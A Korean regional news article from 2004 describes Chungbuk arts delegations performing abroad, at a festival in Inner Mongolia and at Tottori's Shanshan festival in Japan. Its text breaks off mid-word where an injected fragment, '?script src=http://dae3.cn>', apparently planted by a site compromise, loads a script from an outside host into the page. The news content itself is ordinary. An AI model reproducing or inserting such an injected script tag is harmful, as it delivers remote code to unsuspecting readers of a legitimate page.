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제목 충북지역 문화예술계 아시아 무대‘노크’ - 시립국악단 일본 공연
내용 국제교류가 상대적으로 낮은 지역문화·예술계. 그만큼 세계의 문화속에서 자리를 잡지 못하고 허덕이는 게 현실이다. 무더위가 모든 것을 집어삼킬 것 같은 2004년의 여름 한복판에서 충북문화·예술계는 지금. 세계와의 대화를 시도하고 있다. 충북예총은 ‘2004 한·중 예술문화교류사업’의 일환으로 9∼14일 중국 내몽고자치구 얼뚜어스시에서 열리는 ‘2004 중국 나다무 국제행사’에 참가한다. 지난 2000년 7월에 시작된 한·중 예술문화교류는 중국의 한국방문을 시작으로 지금까지 꾸준하게 교류활동을 펼쳐 왔으며 이번 행사에는 장남수 충북예총회장을 비롯. 김영호 충북도행정부지사. 충북예총 국악팀 6명. 무용팀 8명 등 모두 28명의 충북예술단(단장 김영호)이 참가한다. 충북예술단 관계자는 “10∼13일 공연과 함께 징기스칸릉 유적지와 사만 유적지를 방문. 충북의 관광지 및 산업단지를 세계에 알릴 것”이라며 “경제인 및 예술단체장과의 간담회를 개최해 충북의 발전상황을 홍보하는 등 일석이조의 효과를 기대하고 있다”고 밝혔다. 이번 공연에서 충북예술단 무용팀은 굿판에서 파생돼 즉흥적으로 추는 ‘허튼춤’으로 중요무형문화재 97호로 지정된 살풀이와 한국무용. 밸리댄스. 재즈 등을 선보인다. 또 국악팀은 ‘강강술래’. ‘진도아리랑’ 등의 남도민요와 인간의 삶을 소리꾼의 사실적 성음을 통해 표출하는. 한국이 자랑하는 대표종합예술인 판소리. 4가지 타악기로만 편성돼 강렬한 금속성의 사운드와 한국인의 흥겨움을 전해주는 사물놀이 등을 공연해 많은 볼거리를 선사한다. 충북예술단은 공연활동과 함께 오는 10월 충북에서 개최되는 ‘85회 전국체전’에 외국인이 참석할 수 있도록 홍보활동과. 충북의 관광지와 산업단지에 대한 소개활동에도 주력한다는 계획이다. 정상용 충북예총 사무처장은 “지난 2000년 7월. 한·중예술문화교류 협의서를 체결하고 해마다 예술단 초청공연과 심포지엄 등 문화교류활동을 벌여 왔다”며 “한류열풍으로 인해 한국에 대한 관심도가 높아진 중국에서는 특히 선이 아름다운 한국무용을 선호하는 편이다”라고 말했다. 청주시립국악단(단무장 권오헌)은 오는 14∼18일까지 일본 돗토리시에서 열리는 ‘40회 돗토리 샨샨축제’에 참가해 우리의 멋을 한껏 뽐내고 온다. 지난 90년 8월. 청주시는 일본 돗토리시와 자매결연을 맺은 뒤 한국과 일본을 오가며 활?script src=http://dae3.cn>
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